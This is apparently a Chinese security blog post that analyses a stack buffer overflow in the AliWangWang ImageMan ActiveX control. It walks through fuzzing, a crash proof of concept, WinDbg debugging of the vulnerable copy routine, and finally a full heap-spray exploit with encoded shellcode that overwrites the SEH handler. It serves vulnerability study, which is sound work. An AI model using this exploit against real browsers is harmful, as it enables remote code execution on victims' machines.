阿里旺旺ActiveX控件ImageMan溢出分析

我们先来fuzz一波

ComRaider可以根据接口所提供的参数类型构造不同的Fuzz脚本,并且还能通过调试器来调试。可以根据参数类型的不同,构造字符串溢出漏洞、整数溢出漏洞、格式化字符串漏洞等。

这个其实挺好用的,fuzzing ActiveX插件的话,说不定一不小心就挖到一个洞了呢

blob.png

2个异常

blob.png

blob.png

是访问违例

查看文件,就是第一个参数溢出

blob.png

针对ActiveX控件的漏洞分析方法

作者直接就告诉你如何下断点什么的,那我先自己来一下吧

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>

先打开看看,覆盖成41414141了

blob.png

打开poc看看,crach信息,确实是ImageMan

(1098.10dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=04eded3c ecx=017afefc edx=fe850104 esi=00000041 edi=017b0000
eip=04ed406b esp=017ace54 ebp=017ace5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\AliWangWang\Pictool\ImageMan.dll - 
ImageMan!DllUnregisterServer+0x32e70:
04ed406b 8807            mov     byte ptr [edi],al          ds:0023:017b0000=4d

看看堆栈,太长了,后面的都是41

0:008> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
017ace5c 04ebc324 017ad0a0 017acf9c fe853065 ImageMan!DllUnregisterServer+0x32e70
017ace70 04ebac30 017ad0a0 017acf9c fe853065 ImageMan!DllUnregisterServer+0x1b129
017ad1a4 41414141 41414141 41414141 41414141 ImageMan!DllUnregisterServer+0x19a35
017ad1a8 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1ac 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1b0 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1b4 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1b8 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1bc 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1c0 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1c4 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10
017ad1c8 41414141 41414141 41414141 41414141 iepeers!CPersistUserData::GetCacheUrlFromDirPath+0x10

通过ida查找定位到该指令所在函数

blob.png

看他的名字好像是一个复制函数

blob.png

我们看看这个模块,加载的基址是04ea0000

0:008> lmm ImageMan v
start    end        module name
04ea0000 04ef4000   ImageMan   (export symbols)       C:\Program Files\AliWangWang\Pictool\ImageMan.dll
    Loaded symbol image file: C:\Program Files\AliWangWang\Pictool\ImageMan.dll
    Image path: C:\Program Files\AliWangWang\Pictool\ImageMan.dll
    Image name: ImageMan.dll
    Timestamp:        Mon Nov 06 10:59:45 2006 (454EA521)
    CheckSum:         0005C246
    ImageSize:        00054000
    File version:     1.0.0.1
    Product version:  1.0.0.1
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      䇼̂㇣뫊c1�粒⇫粀˴
    ProductName:      ImageMan Module
    InternalName:     ImageMan
    OriginalFilename: ImageMan.DLL
    ProductVersion:   1, 0, 0, 1
    FileVersion:      1, 0, 0, 1
    FileDescription:  ImageMan Module
    LegalCopyright:   Copyright 2006

我们函数偏移0x34027,我们就去那个偏移下断点就好了

.text:10034027 ; unsigned __int8 *__cdecl _mbsnbcpy(unsigned __int8 *, const unsigned __int8 *, size_t)

bp ImageMan+0x34027

为了调试,我在js代码处搞个alert

0:032> bl
 1 e 03ed4027     0001 (0001)  0:**** ImageMan!DllUnregisterServer+0x32e2c
0:032> g
Breakpoint 1 hit
eax=fe853065 ebx=03eded3c ecx=017acf9c edx=017ad0a0 esi=017ad458 edi=017ad1a4
eip=03ed4027 esp=017ace60 ebp=017ace70 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ImageMan!DllUnregisterServer+0x32e2c:
03ed4027 55              push    ebp
0:008> dd esp
017ace60  03ebc324 017ad0a0 017acf9c fe853065
017ace70  017ad1a4 03ebac30 017ad0a0 017acf9c
017ace80  fe853065 00000000 00247050 0682be18
017ace90  00247048 00000000 00000000 00000000
017acea0  00000000 00000000 00000000 00000000
017aceb0  00000000 00000000 00000000 00000000
017acec0  00000000 00000000 00000000 00000000
017aced0  00000000 00000000 00000000 00000000
0:008> dc 017ad0a0 
017ad0a0  00000000 00000000 00000000 00000000  ................
017ad0b0  00000000 00000000 00000000 00000000  ................
017ad0c0  00000000 00000000 00000000 00000000  ................
017ad0d0  00000000 00000000 00000000 00000000  ................
017ad0e0  00000000 00000000 00000000 00000000  ................
017ad0f0  00000000 00000000 00000000 00000000  ................
017ad100  00000000 00000000 00000000 00000000  ................
017ad110  00000000 00000000 00000000 00000000  ................
0:008> dc 017acf9c 
017acf9c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
017acfac  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
017acfbc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
017acfcc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
017acfdc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
017acfec  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
017acffc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
017ad00c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

我们看到第二个参数就是指向“AAAA….”,第三个参数是fe853065

我们发现复制的edi起始就是017ad0a0(在当前的esp和ebp之上的地址), ecx指向‘AAAA….’,是复制的源,先给al再给edi

blob.png那我们看看跳过去的代码,又跳回那里去复制去了

03ed4082 47              inc     edi
03ed4083 41              inc     ecx;地址递增
03ed4084 84c0            test    al,al;看看是否到字符串结尾了
03ed4086 7410            je      ImageMan!DllUnregisterServer+0x32e9d (03ed4098)
03ed4088 85d2            test    edx,edx;这个edx为0,才为0,所以下面的肯定跳
03ed408a 75d2            jne     ImageMan!DllUnregisterServer+0x32e63 (03ed405e)

再看看最开始我们报错的那个地址,那是一个只读的地址,所以异常了

0:008> !address 17b0000
                                     
Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        017b0000
Base Address:           017b0000
End Address:            01cf9000
Region Size:            00549000
Type:                   01000000MEM_IMAGE
State:                  00001000MEM_COMMIT
Protect:                00000002PAGE_READONLY
More info:              lmv m xpsp2res
More info:              !lmi xpsp2res
More info:              ln 0x17b0000

看着就像PE文件

blob.png

我们计算还达不到这个地址

blob.png

那是进行了第二次复制?

那我们对0x17ad4f8下内存写入断点看看

0:008> ba w4 0x17ad4f8

我们发现edi地址已经超出我们的预期了

blob.png

而且我们发现原来的41到ad4f4就没了

blob.png

原来是将栈上的41变得原来越长,永无停止,因为size非常大,直到超过栈顶了,怪不得上图的41刚好就到ad4f8,也刚好是我们下的硬件断点

blob.png

那这样就可以理解为什么1111字节的0x41可以覆盖到栈顶了

第一个是传进来的长度很长,f开头的,你说长不长,O(∩_∩)O哈哈~

第二个是源地址和目的地址相差260,而1111>260,所以其实就可以延长源字符串的长度,知道复制到栈顶了

blob.png

我自己分析到这,回到看看书,作者是怎么搞的

作者通过DispCallFunc function定位,首个call ecx就是了

应该是控件是通过这个调用的

在某博客有句话:

调试AX控件时,确定函数地址可以下断在OLEAUT32!DispCallFunc

而作者的分析是在我的分析的函数的外层,其实可以看到里面也是右很多有趣的东西

再试试作者的方法,其实也可以

blob.png

跟进,获取超长字符串参数,

blob.png

跟着将unicode字符串转化为字符串

blob.png

放到这边来了

blob.png

还没溢出,但加16个可以覆盖那个返回地址了

blob.png

跟着寻找\在字符串的位置,没有,肯定是执行字符串最后了,由于没显示符号,还是吾爱破解的好点

blob.png

看下ida吧

blob.png原来是这里计算了字符串的复制长度,就是反斜杠的index-path+1,就是想只复制反斜杠前面的字符

blob.pngida就清楚多了

blob.png接下来就是复制了

blob.png

漏洞利用

浏览器的利用很多时候都是heap spray

这里超过260个字符,就会覆盖到栈顶,触发异常,而且seh被覆盖,案例来说是这讨论,但是实际作者的代码在我的机器上并不起作用

应该作者是ie6或7

ie8的堆喷有些改变

改变在这

blob.png

看似成功了

blob.png

seh已经被覆盖

blob.png

但是dep开了,没法执行,我们关闭dep看看

blob.png

可以

blob.png我们调试看看,对0c0c0c0c下硬件执行断点

果然就执行到这了blob.png

最终exploit,改了作者一点的heap spray的方式

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u0c0c%u0c0c');
while(nops.length < 0x100000/2){
nops += nops
}
// 减去堆头,长度以及最后的两个空字符
nops = nops.substring(0, 0x100000/2 - 32/2 - 4/2 - 2/2 - shellcode.length);
var tmp = nops + shellcode
memory=new Array();
for( counter=0; counter<200; counter++) 
memory[counter]= tmp.substring(0, tmp.length);
alert(1);
s='';
for( counter=0; counter<=250; counter++) 
s+=unescape("%0C%0C%0C%0C");
target.AutoPic(s,"defaultV");
</script>
</body>
</html>

打赏
微信
支付宝
微信二维码图片

微信扫描二维码打赏

支付宝二维码图片

支付宝扫描二维码打赏

发表评论